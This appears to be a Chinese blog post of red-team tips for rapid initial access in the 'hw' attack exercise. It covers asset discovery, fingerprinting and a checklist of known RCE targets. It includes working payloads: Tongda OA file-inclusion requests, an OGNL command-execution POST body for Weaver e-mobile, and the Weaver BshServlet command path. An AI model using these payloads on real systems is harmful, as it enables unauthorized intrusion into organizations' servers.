关于hw打点的思考

​ 一年一度的hw活动又开始了,关于hw的比拼,各个公司都十分看重,都希望能在这次比赛中拿到一个比较好的成绩,针对于hw这种形式,还是比较考验一个人或者一个团队的梭哈能力,有些红队人员虽然内网非常强,姿势也非常骚,可是打点可能不是很快,对于这种比赛来讲,就是手慢则无。反而一把梭哈,速度快还能拿到比较不错的成绩。下面我根据我的不成熟的经验来分析一下,如何提升速度。

​ 首先是信息搜集的能力,我们可以想一下,如果一个攻击队,信息搜集非常慢,半天才找到不多的资产,然后再去做一些常规的rce的测试,和那些有自动化工具的队伍比起来就慢了一大截,因此hw还是比较考验队伍快速搜集资产的能力,否则即使0day在手,找不到对应的平台也没用啊。关于自动化信息搜集的工具,其实可以借助一些网络资产搜集引擎,因为hw的很多蓝方精神都是高度集中,你扫个端口肯定就被拌掉了,因此最好在搜集的时候能不直接和这些目标接触并且能拿到我们想要的信息。这里我提供一个思路,就是调用各种接口搜集资产信息,找到以后再去验证存活,再获取一些指纹信息,比如网站的架构,什么cms,用了什么中间件,这些信息对我们打点来说都是非常重要的。

​ 然后再来谈谈挖洞,其实hw这些目标都挺大的,也就是说资产比较多,有新架构有老架构,用这种框架中间件的也非常多。那当我们拿到这么多资产后,我们该如何快速打点呢?

​ 我认为首先应该去找各种影响比较大的rce去检测

java站

1
2
3
4
weblogic rce  根据404报错的那个标题即可识别是否是weblogic
struts rce 有人写了识别工具,也可以根据后缀比如.do,.action
spring boot rce 根据404或者500的报错页面进行识别,找env文件
shior rce 找java的登录口,看返回结果是否有remeberme 之类的字段

php站

1
2
thinkphp rce thinkphp可以根据路由来进行识别
解析漏洞 1.jgp/1.php

asp/aspx

1
ueditor任意文件上传  扫ueditor的目录

​ 当没有这些影响比较大的漏洞时,我们再去考虑一些cms或者一些oa这种我们知道某些版本有漏洞的站,最好还是那种已知有rce的cms。这个其实也比较依赖于大家的经验和总结能力,毕竟要跟一些爆发的漏洞也挺费精力的。

1
2
3
4
5
6
7
8
9
通达:
漏洞指纹:/ispirit/interface/gateway.php 文件包含漏洞
ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}
ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log
泛微:
e-mobile常在89端口 rce
访问login.do post如下内容:
message=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami
泛微rce /weaver/bsh.servlet.BshServlet 直接访问即可执行命令

​ 当这些可以直接可以利用的rce无法利用时,我们就要去找一些cms可以通过组合可以getshell的站。这些如果还没有,那我们就需要去看那些他们自己开发的网站了。去找找后台,找找上传,找找注入等等。